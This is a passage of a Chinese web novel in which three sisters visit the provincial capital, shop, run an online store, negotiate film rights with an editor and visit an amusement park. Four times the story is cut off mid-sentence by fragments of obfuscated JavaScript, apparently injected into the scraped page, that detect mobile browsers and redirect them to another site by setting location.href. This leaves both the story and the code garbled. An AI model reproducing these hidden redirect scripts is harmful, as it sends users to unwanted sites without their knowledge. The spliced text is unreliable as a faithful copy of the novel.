“啊？”苏萍愣了一下，随即想起了什么，连忙接上话：“对啊！我怎么忘了。我给你姐带点家里做的酸豆角和炸鱼去，估计她在那边也吃不到这味。” 说完，苏萍就急急忙忙往外走，去找程林生了，大声喊着：“老程！！你今天晚上没事的话，去田里打点鱼呗？明天我炸了给小兰带去。” 7月6号这天早上，程茉和程莉各自提着一大包行李，依旧是坐着那辆颠簸的电动三轮车，到达了镇上。 不知道是因为暑假轻松愉快的心情，还是随身带着的橘子散发出的清香，这次的汽车之旅，程茉和程莉两人并没有像上次那样晕车得难受。 等两人走出火车站，程兰也已经站在广场上最醒目的位置等着她们了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16646235|186549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >程茉仔细打量了程兰好一会儿，惊觉她跟上次见面时仿佛变了一个人般。 首先便是发型和衣服。原本披散的直发被扎成了高高的马尾，显得利落多了；身上的衣服也不再是平时常穿的T恤和牛仔裤，而是一件带点设计感的白衬衫配灰色西装裤，整个人看起来十分干练。 等走近了，程茉才发现，程兰眼底有着淡淡的青黑，看起来有些疲惫，眼神却亮得惊人，满脸带着笑意。 “总算到了，这一路还顺利吧？”程兰接过两人手里的东西，带着她们直接走到了一辆出租车前。 “不去坐公交车吗？”程莉好奇地问道。 程兰把程莉塞进车后座，自己到前面副驾位坐下，回头解释：“我们先打车回去把东西放下，然后带你们去吃饭。” 等她们到了程兰租住的房子，把东西放好后，又风风火火下了楼，这次依旧是打的车。 “我们去吃什么呀？”程莉期待地看着程兰。 “去吃大餐。”程兰朝她们神秘地眨了眨眼，卖了个关子。 车子快速前进着，周围的街道愈发宽敞繁华，两边的楼层也越来越高，最终她们停在了一栋热闹的商场门口。 “好高啊！”程莉仰头望着两旁的大厦，满眼惊叹，“这里的房子真漂亮，人也好多！” 程茉认出了，这正是两个月前她们来省城那次，江边散步时所看到的，江对面的市中心。 “姐，这里吃饭会不会有点贵？”程茉试探着问道。 “哈哈，还好，是有一点，”程兰笑着拍了拍程茉的肩膀，语气里带着几分得意，“但你姐我最近赚钱了，所以还是请得起的！” 程茉心里有了猜测，暂且收起自己那点关于赚钱的好奇，跟着一起走进了商场。 这里和程茉后来工作后常跟同事逛的商场已经没什么区别了。一楼是珠宝和化妆品，二三楼全是服装，餐饮区集中在四五楼。程兰熟门熟路地带着她们坐了电梯，直达四楼。 “进去吧，就是这家！”程兰抬手一指前方的餐厅，眼里闪着亮光，“我之前和朋友来吃过，可好吃了！” 程茉抬头望去，一家装修雅致的餐厅映入眼帘，木质招牌上刻着飘逸的书法字体——听荷轩。门口站着招揽客人的服务员，身着一袭青色旗袍，十分有气质。 程兰快步走过去，跟服务员报了预约时留的信息，随后便有引导的服务员过来，同样穿着青色的衣裙，带着她们走进了餐厅。 一路上程莉都睁大双眼到处看着。餐厅内里的装修也很是典雅，三人跟着服务员在一张靠窗的桌子前坐下，还能看见中间人工造景的池塘和一片翠绿的荷叶，以及点缀着的几朵半开的粉色荷花。 待服务员拿来菜单，看到上面动辄一百多的菜价时，程茉终于忍不住小声说道：“姐，其实也没必要吃这么好的……” “嗨，放心吃，就算十顿我也请得起。”程兰忍不住噗嗤笑出声来，“真的赚钱了，等回去跟你细说。” 30. 第 30 章 不同于程茉心里有些按捺不住的好奇与猜测，这顿饭程莉倒是吃得十分畅快。 饭菜分量不大，但口味确实很不错。不像本地菜系的重油重辣，更偏酸甜口一些，也因此很受小孩子的喜爱。 “吃饱了吗？”程兰看着摸着圆滚滚的肚子将自己摊在椅子上晃脚的程莉，忍俊不禁地问道。 “好吃！还能吃！”程莉高兴地说，奈何紧接而来的就是一个饱嗝，逗得程茉和程兰都大笑起来。 程兰倒了一杯柠檬水递给她：“那下次还来。” 结账的时候，程茉悄悄瞄了一眼，看到程兰掏出来的钱包里一叠的红色钞票，然后从里面抽出来四张递给了服务员。 三个人吃一顿三百多，在程茉工作后和同事聚餐时这甚至算得上是平价，但对这个时期的她们来说则完全可以说是有些奢侈了。 但程兰给钱收钱的动作却看起来很是云淡风轻。 “走吧，我们去下面逛逛，顺便消消食。” 收好钱包，程兰又带着两人去楼下逛了起来。 经过一楼珠宝首饰店铺的时候，程茉的脚步不自觉地慢了下来。 店铺门口的广告牌上写着“黄金今日210元/克”。回想起重生前已接近千元的金价，程茉也忍不住有些头脑发热起来。 “怎么？你想买首饰？”程兰注意到程茉的目光，开口问道。 “没有，就是觉得现在的黄金也挺便宜的。” “哈哈，赚到钱了就是不一样了哦。不过黄金这半年已经涨了不少，现在买还是有点亏了。”程兰回忆了一下年初的金价，又想起刚才饭桌上才和程茉提过一嘴的那笔稿费的安排，接着问道：“你是想要投资？” 刚刚还有些兴奋的程茉顿时便冷静了下来。是了，今年黄金刚涨了一波，此后十年涨幅都不算大，再想想后面会持续上涨的房价和物价，确实现在投资黄金不是最好的时机。 另一方面，目前程茉的本钱也有限，等后面小说版权卖出去存款更宽裕了再考虑也来得及。 不过，程茉倒还记挂着答应给母亲的礼物：“也不是，就是想到妈妈都没什么首饰，想送她一个。” 程兰想起了母亲手里那唯一的一个银戒指，沉默了一瞬，说道：“那我们进去看看吧。” 三人走进店里，立马有位盘着头发身着职业装的店员迎了上来。目光略过两个小孩，她径直看向程兰，笑着问道：“美女，是想买首饰吗？打算自己戴还是送人呀？” 程兰看向程茉。 “送长辈的，你们有推荐的款式吗？”程茉打量了一眼两边柜台里的项链手镯，问道。 店员诧异了一瞬，又很快调整好神色，笑着对程茉说：“有的，麻烦几位跟我过来。” 领着两人走到柜台前，店员一边打开货柜，一边询问程茉：“小美女是更想要选项链还是手镯呢？” 前世母亲摸着手腕上大金镯子时喜笑颜开的样子立马浮现出来，程茉毫不犹豫地回答：“手镯吧。” 店员拿出几款样式不一、克重不同的手镯一一介绍，最终程茉挑中了一个40克左右的雕花手镯。加上工费算下来，店员最后给了个8666的折扣价。 在程茉挑选好后，一直有些安静的程兰指了指货柜里一款素圈戒指，对店员道：“帮我把这个戒指拿出来看一下吧。” 程兰和苏萍长得很像，手型也差不多。所以她便自己直接上手试戴了下，想象着母亲带着它的样子。 “就这款吧。麻烦帮忙算一下价格。”程兰没多犹豫就做了决定。 这枚戒指很轻，只有5克多点，算下来只要1080元。 “到时候小茉你帮我把戒指一起带回去给妈妈吧。”接过店员打包好的礼品袋，程兰对程茉说道。 “好。现在回去吗？”程茉应道，朝正坐在凳子上头一点一点的程莉走去。 刚开始时程莉还有些新奇地在店里转了两圈，每个货柜仔仔细细看过去，等到后面程茉程兰开始坐下来挑选她就有些无聊了，被两个姐姐叫醒后揉着眼睛嘟囔：“终于好了啊。” 等三人回到家里，已经快下午四点了，程兰便顺便在楼下买了点水果和蔬菜，打算晚上自己做点饭，正好再配上中午饭店没吃完打包回来的菜。 又是坐车又是逛商场的，这一天下来程茉也有些累了。将东西放好后她就立马先去洗了澡换了衣服靠在了床上，看着又恢复了精神的程莉叽叽喳喳地跟程兰展示自己的期末成绩。 认真欣赏完程莉的奖状，程兰又问了问程茉的成绩，欣慰地笑着夸赞：“你们俩都这么优秀，比我当年可强多了，得好好想想怎么奖励你们。” “还有奖励呀？”程莉立刻歪着头凑过来，眼里满是惊喜，“我还以为今晚这顿大餐就是奖励了呢！” “当然。”程兰肯定地点了点头，又看向程茉，“小茉，你也是，有什么想要的吗？我知道你现在是小富婆了，但这不一样哦，这是姐姐送给你的。” 程莉先跳了起来：“那我可以要一个毛绒小熊吗？我同桌说她有一只，摸起来可舒服了。” “没问题。” 而被程兰期待的目光注视着的程茉，却陷入了茫然之中。一时之间，她还真想不到自己有什么想要的东西。 “要不我给你买个手机吧？”程兰想了想提议道，“你不是说过两天要去跟编辑谈版权吗？以后你需要联系的人估计会更多，有个手机会更方便。” 程茉之前还真没考虑到这点，确实有了手机更编辑沟通会更及时些。但想到价格，她还是摇了摇头：“还是我自己买吧。” “不用担心钱。现在手机也不贵，我上个月买电脑时刚看过，诺基亚也才一千多，其他杂牌子的更便宜。”程兰又笑着补充，“而且我还没告诉你们呢，上个月网店的生意很不错，我现在也算是收入过万啦。” 一提网店，程茉顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16655404|186549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时来了兴致，立马从床上坐了起来：“真的吗？快让我看看！” 程兰打开桌上的笔记本电脑，很快调出店铺界面：“你瞧，一天不看又有新订单了，明天还得辛苦你们俩个帮忙打包了。” 程茉从床上跳下来，凑到电脑前接过鼠标浏览起来。程兰选的品不多，都是些带点小设计感的经典款，数据显示确实大部分销量都很好。 就这会儿，后台消息键又亮了起来，有顾客来咨询了。程兰把电脑往自己那边挪了挪，手指在键盘上翻飞，一串串亲昵自然的回复就发了出去。 “姐，你这个月肯定很辛苦吧？忙得过来吗？”程茉看着她不停敲击的手，忍不住担忧地问。 “还好，就前一阵期末考试周熬了几个夜，其他时候我一个人基本能应付过来。”程兰手上没停，语气却松了些，“这刚开店，还是得先等稳定下来再看，要是以后生意再好些，就考虑招个帮忙的。” 程茉又扫了眼周围，刚进来时她就发现，这个本就不大的房间变得更拥挤了。角落的空地上如今已经堆满了货品。 “姐，要不你先组个简单的工作室，换个大点儿的房子？”程茉沉吟着开口，“钱不够的话，我这儿还有几万块。” 回复完最后一条消息，程兰关掉对话框，手指在键盘上停了好一会儿才开口：“小茉，我知道你是想帮我，但是我不能……” “姐，我们之间不必说这些。”程茉握住她的手，认真地看着她的眼睛。 换房子开工作室的想法，程兰这段时间也已经在心里盘算了好几次，只是眼下虽说收益不错，但留出下学期的学费和进货货款后也算不得宽裕。她本打算再等两个月，确定生意能稳定下来后再考虑这事。 可此刻看着程茉全然信任的目光，感受着手心传来的温度，程兰只觉得自己的心也被柔软而坚定地包裹住了，那些顾虑和担忧便都跟着淡了下去。 “好，那就算你拿一万出来投资，这就算是我们俩的店了。”程兰嘴角弯起，轻笑着说，“以后赚钱了给你分红，要是亏了，我也按利息赔你。” “我也要我也要！”一旁的程莉冲过来晃起程兰的胳膊，声音里满是雀跃，“大姐，我不要礼物了，把我的礼物换成钱，我也要投资跟你们一起赚钱！” 看着她有些不舍又郑重的模样，程兰和程茉对视一眼，笑着说：“好，那就是我们姐妹三个一起开的的店！” 晚饭后，程茉用姐姐的笔记本电脑登上了Q/Q，再次和编辑确认了见面的时间和地点。 “那么，后天下午我陪你一起去见编辑对吧？”程兰一边擦着头发一边走过来问道。 “嗯，作为监护人。”程茉关掉电脑，“我跟编辑说了还要带上小莉，到时让她在旁边看书好了。” 程兰在电风扇前坐了下来，手轻轻拨着发丝，看着程茉的目光里带着些不知名的惆怅，几不可闻地轻叹了句：“我们小茉是真的长大了呀。” 31. 第 31 章 第二天吃过早饭，姐妹三人就陷入了忙碌的打包工作之中。 程茉一边对照着电脑上的发货信息抄写快递单，一边看两眼一旁麻利地将衣服整理好装袋的程兰，想象着之前的她是怎么一个人完成这些繁杂的工作的。 程莉也在认真地帮着把程茉写好的快递单贴到包装袋上，在姐妹三人的小小流水线运作下，直到中午才终于把这两天挤压的单子打包好。 “好啦，辛苦你们两个了！”程兰将所有打包好的袋子整理好装进纸箱，站起来捶了捶腰，“等会把这个抬到快递站我们就顺便在外面吃饭吧，下午我要去批发城再进点货，你们两个自己待在家里休息写写作业可以不？” “我们跟你一起去吧？还可以搭把手。”程茉看了眼那个大大的纸箱，说道。 程兰摆了摆手笑道：“不用，下午我打算就进两三款，接下来两天我还想带你们出去玩一下，也没多少时间发货。” 于是，吃过午饭之后，程兰先把两人送回了出租屋，拿了钱包和钥匙独自出门了。 “二姐，要不我们自己出去玩一会儿吧。”程莉趴在窗户前看着楼下的街道，有些期待地说道。 “不行。”程茉拒绝得很无情，“先来把今天的英语学了。” 程莉失望地叹了口气，磨磨蹭蹭地去书包里拿出了笔记本和铅笔。 “要是表现得好的话，晚上我就跟大姐说我们一起去逛夜市。”看她这样，程茉语气一转，抛出个诱饵。 果然，程莉的眼睛立马又亮了，端端正正地坐了下来，摆出一副认真学习的样子。 程茉便先带着程莉复习了一遍音标，又给她写了几个单词练习拼读。 “不错，都读对了。” 程莉的记忆力很好，发音也很标准，程茉心里也跟着升起欣慰和成就感，估摸着可以推进“教学进度”到简单的日常对话了。 看来，书得先买起来了。程茉给程兰发了个消息，讨论了下晚上的安排。 这里没有电视可看，完成任务的程莉高兴地在屋里转了两圈后又无聊地坐了下来，看着认真敲击电脑的程茉发呆。 想到明天要做的事，程茉在网上开始搜寻起版权相关的知识，又对照着分析了一下自己的作品数据，一边默默地将重要的信息记录在本子上。 这是程茉从未接触过的领域，多少还是有些没底。但好在她对网站本身还是比较信任的，至少不用担心被坑。 等程茉写完整整两页纸的事项，抬起手伸展下有些酸痛的腰背，才发现一旁的程莉已经趴在床上睡着了，脸蛋下还压着本写了大半的暑假作业。 窗外的阳光仍有些炽热，透过印花的浅绿色纱帘洒进了屋里，在地面投下一片斑驳。风扇吱吱呀呀地转着，合着蝉鸣仿佛奏响的催眠曲。 程茉看了眼时间，已经下午四点多了。她站起身走过去将程莉叫醒。 “大姐回来了吗？”程莉眨了眨有些朦胧的眼睛，迷迷糊糊地问道。 “还没，不过应该快了。”程茉拿过桌上的手帕替她擦了把汗湿的额头和惺忪的双眼，“你去洗一下脸吧，大姐说等她回来我们就出去吃饭。” 正说着，外面响起了开门的声音。 程莉立马跑了出去，嘴里还大喊着“大姐”。 程茉也跟着走了出去，正想着帮程兰把货品搬进来，却诧异地发现她空着手。 “进来吧，真的辛苦你了。”程兰转头笑着说道，让出身后的人来。 程茉看去，是一个陌生的年轻男子，穿着白T和牛仔裤，皮肤偏黑，手里提着个大大的黑色塑料袋，笑容倒是很灿烂。 “她们两个是我妹妹，程茉，程莉。你把东西放这里就行。”程兰介绍道，又回头对程茉两人说：“这是我同学，吕向阳，你们叫他哥哥就好了。” “妹妹们好！”吕向阳将手里的大袋子放下，笑得露出一排洁白的牙齿。 “今天麻烦你了，等会儿我请你吃饭吧。”程兰看着吕向阳说道，又用眼神示意了一下程茉。 程茉了然，上前将袋子拖到了卧室。 “不用不用，这只是顺手而已，怎么好意思让你请客呢？”吕向阳连忙摆手。 “没事，反正我本来也要带我妹妹她们出去吃饭。”程兰又邀请了一遍，“也确实要谢谢你专门走一趟帮我送过来。” “那好吧。”吕向阳快速地瞄了一眼程兰，有些不好意思地挠了挠头。 于是程兰洗了把手，简单收拾了一下，几个人便一起出门了。 这次并没有走远，程兰就在附近的商场找了一家人流量还不错的饭店。 这家店主打本地菜系，味道很不错。程莉埋头专心干饭，程茉却吃得有些心不在焉，隔一会儿便不着痕迹地瞄一眼对面交谈的两人。 其实主要说话的是吕向阳，一会儿谈论起学校的作业，一会儿聊起自己的球队和运动习惯，一会儿又说哪里的饭菜比较实惠好吃，看起来很努力地在找话题了。 倒是程兰的回应不咸不淡，她只时不时微笑点头，做些简单的应答。 期间，吕向阳还很热情地帮程莉和程茉夹菜、倒饮料，顺便关心了两句她们的学习情况，还跟她们介绍了不少省城免费又好玩的地方。 在这有些怪异的气氛下，一顿饭终于吃完，吕向阳又问起她们几个接下来有什么安排，需不需要他帮忙。 但这次程兰拒绝得很干脆，只说她们自己要去买点东西。 吕向阳有些失望，却又忍不住补充道：“那好吧，下次要出去玩可以叫我，我对这边还是比较熟悉的，还能帮你们拎包呢。” 程兰微微颔首，语气平淡又不失礼貌：“嗯，谢谢你了，那我们就先走了。” 程茉和程莉便跟着一起道了别。走了几步，程茉忍不住回头看了眼，只见吕向阳还站在原地，目光追随着她们的背影。 “走吧，你们不是说要买学习资料吗？这附近有一家新华书店，我们一起过去吧。”程兰拉了下程茉， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16667930|186549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说道。 程茉努力回忆着前世的记忆，确认自己确实从来没有见过吕向阳，也没有听说过他的名字，却还是按捺不住内心的好奇，忍不住问道：“大姐，这是你同班同学吗？” “不是，是同年考进来的老乡，跟我们一个市的。之前学校老乡聚会见过一面。”程兰脚步没停，声音里听不出情绪。 “那他还挺热情的呢。”程茉轻声感叹了一句。 程兰抬手轻敲了下她的头，语气带着几分无奈：“小孩子别管太多。” 没走几步，前方就出现了新华书店的招牌。程茉暂且放下心里的那些猜测，快步走了进去，径直找起自己需要的资料来。 好在这家店没让程茉失望，她顺利地找到了《新概念英语》的全套。考虑到初高中的学习需要，程茉只买了前两本。 之后，程茉又去初二同步辅导资料区转了一圈，顿时便被这里琳琅满目的试卷迷住了眼。不同于小镇上屈指可数的几套试卷，这里的资料五花八门，各个品牌、各个学科一应俱全，甚至还有不少打着“省内名校密卷”名头的习题集。 程茉挑花了眼，看哪个都想要。最终没忍住给各门主科都来了一套，数学和物理就不用说了，语文的答题技巧也可以再练练，英语就做套中考真题练练手吧，甚至连历史、政治都没放过。 再想到初二下学期就要迎接的生地会考，程茉又专门选了一套会考模拟卷，打定主意要提前做好准备。 “买这么多能做完吗？”程兰看着她手里厚厚一摞的资料，皱着眉提醒了一句。 “没事，我可以的。”经历过高中题海战术并深知其效果的程茉，眼里满是刷题的欲望，语气坚定。 又瞥见一旁东张西望的程莉，程茉问道：“程莉，你要不要再买两本语文和数学的试卷？三年级难度可要上去了。” “不用了不用了，我现在的作业就够多啦！”程莉被她吓得一激灵，连忙躲到程兰身后，摆着手急急拒绝。 结完账出来后，程兰便带着他们去逛了附近的夜市。 街道两旁摆满了小摊，大都是各式小吃，程莉看得直流口水，奈何晚饭吃得太饱，眼下再吃不下多少东西了。 程兰只给她买了一串烤肠，程茉对这些吃的都不感兴趣，便没要。倒是穿插着的一些饰品摊看起来很有意思，让她忍不住停了下来。 小摊上摆着各种五颜六色带着时代特色的发箍发夹和项链手链，不同于小镇上的那些饰品要么样式单一丑的出奇，要么就是精品店那种价格贵的令人望而却步，这里的东西虽然仍有些廉价的塑料感，但胜在款式丰富新奇。 程茉挑了好些个自己看起来比较顺眼的，又给班上那些关系不错的小姐妹都选了一个当做礼物。 第二天上午，三人没有再出门，继续干了一上午的流水线打包工作。 早早地吃过午饭洗了个澡，又换了身干净的衣服，程兰便按照程茉给的地址，打了个车带着她们来到了约定的那家咖啡店。 32. 第 32 章 这个点咖啡厅的人并不多，程茉一眼就注意到了角落靠窗那张桌子边坐着的年轻女士。 女人穿着一身轻盈的米色连衣裙，布料看起来柔软却不起皱，还带着淡淡的光泽感。微卷的黑发扎着低马尾，一张偏圆的娃娃脸上戴着副细框眼镜，正专注地盯着面前的笔记本电脑。 程茉走过去轻声问道：“你好，请问是希言编辑吗？” 女人抬起头，看见她的一刹那，脸上闪过一丝诧异，随后笑着站起身：“你好，你就是程茉吧？果然还是学生呀，真厉害。” 程茉又向希言介绍了下程兰和程莉，随后让程莉拿着昨天买的课外书，坐到一旁自己阅读。 简单打过招呼后，三人便坐了下来。希言询问两人要喝点什么，程兰点了一杯卡布奇诺，程茉不爱喝咖啡，便象征性地点了一杯店里的招牌饮品。 “那我们接下来直接进入正题，讨论一下这次的版权事项吧。” 希言看了眼时间，推了下眼镜，开始向程茉介绍起想要购买版权的影视公司的基本信息。 程茉从未听过这家公司的名字，心里猜测着不知是公司本身规模不大，还是因为自己前世不太关注娱乐行业。 似乎是察觉到了程茉眼里的迟疑，希言解释道：“虽然不是大公司，但是他们的诚意还是比较足的。我们也已经帮你查验过了，是正规的影视公司，所以这点你不用担心。” 见程茉见了点头，希言又接着说：“我们这边也想确认一下，程小姐，你对于影视版权售出后的改编有什么要求吗？比如能接受多大程度的改动，或者是否想参与剧本改编？另外，关于版权费用，你的预期报价是多少？” 程茉低头看了眼自己手里的笔记本，在心里快速组织了下语言，开口说道：“只要不大改核心剧情就行，我没有参与改编的想法。另外，关于版权费的心理价位，我想先了解一下对方公司的报价是多少？” “对方公司目前给出的报价是18万。后续我们再沟通协调，要是你这边配合度高，我们应该还能再争取2万，总报价到税前20万应该是没问题的。”希言核对了下电脑上的信息说道。 “配合度高是什么意思？” 希言耐心解释：“主要是指对小说改编的限制放宽，还有在版权授权年限上适当增加，因为对方可能无法保证在近两年就立即投入拍摄。” “这些都没有问题。”程茉点头同意。 希言便接着说道：“那好，如果你同意将版权授权年限提高到十年的话，我想对方会很乐意提高报价的。另外你这边还有什么其他的问题吗？” 程茉想了想，又问道：“后续的沟通和商议可以全权委托你们代理吗？我还要上学，可能没什么时间面谈。我这边的要求就是希望能一次性拿到版权费。” “没问题的！我们公司会有专业人员负责这些，你安全不用操心。不过我们会抽取20%的服务费，这点你可以接受吧？” 程茉点头同意：“可以，没问题。” 一旁的程兰犹豫着插话问道：“对了，这个应该不用马上签合同吧？” 希言看向她，温和地回答道：“不用的，你们可以回去再好好考虑。如果还有其他要求，也欢迎随时告知我们，我们会再和对方协商。双方达成一致后，会把合同发给你们审核，等你们确认无误了，咱们再签约。” 随后，希言又详细介绍了影视版权的授权改编范围、具体权限，以及程茉后续需要配合的小说内容修改与完善工作。 程茉认真听着，同时将重要信息逐一记录在带来的笔记本上。旁边的程兰也听得格外仔细，时不时拿出手机在网页上搜寻相关信息，一点点确认着。 介绍完毕后，希言说道：“那今天差不多就是这样了。后续确认签约时，还需要你再过来一趟。” 程茉抬头问道：“大概是多久呢？我不确定到时候能不能过来这边。” 希言想了想答道：“快的话一两个月，慢的话三四个月也有可能。到时候我会提前跟你联系，要是你不方便过来，你姐姐既然是监护人，你写一份授权书让她帮忙签约也可以的。” “那我们暂时没有什么其他问题了，今天真是麻烦你了。”程兰和程茉对视一眼后，笑着跟希言握手道谢。 “不麻烦，这本来就是我的本职工作。预祝我们接下来的一切顺利，另外也期待你的新作品。”希言也回以微笑，收回手后又接着说：“那我们后续有什么事情就线上沟通。不知道你们方不方便留一个电话号码呢？” “我还没有买手机，可以留我姐姐的吗？” 希言点头同意后，程兰便报了自己的手机号码。 “那我还有事情，就先走了，下次再见！”希言收拾好电脑，跟她们礼貌地道了别。 走出店门后，程兰忍不住感叹：“你们编辑看起来年纪不大却很厉害呢，人也好。刚刚我想去结账，服务员跟我说她都已经买了单了。” “是啊，我也没想到她那么温柔，还那么专业。”程茉深有同感，又看向程兰，“不过姐你比她更年轻，而且也很厉害啊。” 程茉又想起了前世程兰在婚宴上和男方那一大堆亲戚互相敬酒寒暄时的游刃有余，衬托得一旁拘谨无措的母亲和自顾自夸夸其谈的父亲更显得有些尴尬。 “嗐，我哪能比呢。”程兰笑了笑，“那我们现在去买手机吧，以后你要用到的地方还多呢。” 程茉没有再拒绝，牵上程莉，三人便往商场的手机专卖店走去。 进店之后，程兰大致看了下，便直接走到高端产品区，开始挑选起来。 程茉心里却很清楚，接下来几年手机更新换代速度飞快，实在没必要花好几千块钱买一台过两年就会被淘汰的机型。 她走上前去，拉了拉程兰，说道：“不要买这么贵的，我平时也不怎么用得上，就打个电话、聊个Q/Q，几百块钱的就行了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16678628|186549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >程兰转头看向她，语气坚决：“这是我送你的，你可别想着省钱。” “真不用！”见程兰还想坚持，程茉语气一转，带着点理直气壮的“威胁”又说道：“你要是买太好的，到时候我万一沉迷游戏、荒废学习了咋办？” “啊？”程兰被她说得一愣，心底虽然不太相信这么热爱学习的妹妹会沉迷手机，却还是忍不住升起点隐隐的担心，犹豫着说道：“那……那买一个功能少一点的？” 程茉忍住笑意，将程兰拉到千元以下的机型区，指着其中一台设计简洁的滑盖手机说道：“嗯，就这个诺基亚的吧。” 店员随即把手机拿了出来，简单示范了使用方法。程兰又顺便在店里给程茉办了一张电话卡，还往里面充了100块钱话费。 买好单，三人正要出门的时候，程兰忽然注意到另一边柜台里摆放的那些精致小巧的MP3和MP4，转头看向程茉和程莉问道：“你们要不要买个MP3或者MP4？正好还可以听听英语单词。” 看着这些日后会被时代淘汰的产品，程茉正打算摇头拒绝，余光却瞟到了旁边的程莉正一脸期待地望着她们。 程茉忍不住想起前世初中时期的自己，也曾深深羡慕过那些拥有MP3、MP4的同学。她心里一软，改口说道：“那就买个MP3吧，不过这个我要自己付钱。” MP3的价格并不贵，一两百就能拿下，程兰也就没再多说什么。 从店员手里接过包装后的产品，程茉直接将它递给了程莉：“送你的。” “真的吗？”程莉眼里满是不可置信的惊喜，甚至忘了伸手接过东西。 程茉笑着晃了晃手里的小袋子：“嗯，奖励你这段时间学英语特别的认真。” “二姐你真好！我最喜欢你了！”程莉高兴地接过袋子，眼睛紧盯着里面的小盒子，恨不得马上拆开来看看。 一旁的程兰咳了一声，哀怨地叹道：“真是个善变的小丫头，昨天还说最喜欢大姐了呢。” “才没有，大姐和二姐我都最喜欢了！”程莉立马将眼睛从MP3上移开，跑过去抱住程兰撒娇道。 “好吧，暂且信你一回。”程兰捏了捏她的小鼻子，“那明天带你们去游乐园！” “哇，游乐园！”程莉又蹦了起来，兴奋地不行，“我太喜欢省城了，每天都好开心啊！” 头顶炽烈的太阳被云层挡住了一瞬，投下一片阴凉。恰巧一阵微风吹过，更驱散了几分夏日的炎热。 程茉看着程莉扬起来的发丝，和脸上那比阳光还灿烂肆意的笑容，也忍不住跟着笑了起来。 程茉努力回想着，前世的她们有这么快乐的时刻吗？似乎是没有的，在程兰整个大学期间，她们总共也只来了省城两次。那时的程兰有赶不完的兼职，没时间照顾她们，父母也更想让她们留在家里帮忙，而不是花钱买票出去玩。 真好啊。程茉揉了揉眼睛，重来一回，一切都不一样了。 33. 第 33 章 程茉小时候很爱看作文书，常常看着看着就会忍不住想，那些同龄孩子笔下描绘的游乐园究竟有多么好玩。 在程茉前二十年的人生里，游乐园就是一个梦幻而模糊的符号，从书上的文字慢慢变成电视里的画面，却始终触碰不到。 再后来，程茉自己赚钱了，每每路过商场，看着广场上那些坐在简陋的旋转木马上嬉笑的孩子，都会产生一种自己也上去坐一下的冲动。可惜，成年人的羞耻心让她直到重生前也未付诸于行动。 站在省城这座刚建没几年的游乐园门口，程茉内心那点被忽略已久的渴望，仿佛在忽然之间就膨胀了起来。 程茉仰头望着那座正在旋转着的高高的摩天轮，眼里的光彩丝毫不逊于旁边蹦蹦跳跳的程莉。 “好了，票买好了，我们进去吧。”程兰走过来，晃了晃手里的三张门票。 大门进去就是一片空旷的广场，广场中心有一个大大的喷泉，正随着音乐喷出水花。 虽然是暑假，但毕竟不是周末，又是大上午的，周围的游客并不多。 “你们想先去玩什么呀？”仿佛被喷泉旁轻快的音乐感染，程兰的声音里也带了些雀跃。 “好多好玩的呀！”程莉东张西望，看得眼花缭乱。 “没事，我们反正有一整天的时间，那就一个一个玩过去。” 程兰拉着他们先去了左边的旋转木马区。程莉盯着那一匹匹五颜六色的卡通小马目不转睛，恨不得立刻融入上面零零散散已经坐着的那几个小孩中。 将程莉抱上她挑好的那匹粉红色小马之后，程兰也和程茉一前一后坐了上去。后面没人再过来，工作人员便打开了开关，轻柔的音乐响起，马匹开始缓慢前进。 程茉紧紧抱着身下这匹小斑马的脖子，耳边传来孩童们嘻嘻哈哈的笑声，她的心跟着马匹上下起伏，轻快得仿佛要飞出胸膛。 “有没有要拍照的呀？十块钱一张！” 下面突然传来一阵吆喝声，程茉望去，是一个穿着卡通小熊玩偶服的工作人员。 “给我们三个一起拍一张吧！”程兰大声喊道。 “好！来，看镜头，笑起来！” 随着卡通小熊的指令，三人齐齐侧身歪头，露出整齐的牙齿。 等音乐放完，三人从旋转木马上下来，工作人员的照片也已经洗好递了过来，还带着点温热的触感。 “拍得真好！”程兰接过照片，看着上面三张有些相似的笑脸，眼底漫上了一抹温柔的神色。 “快让我也看看，我也要看！”程莉踮着脚尖，扒拉着程兰的手。 程兰将照片递给她，目光被旁边一对抱着小孩的年轻父母吸引住了。 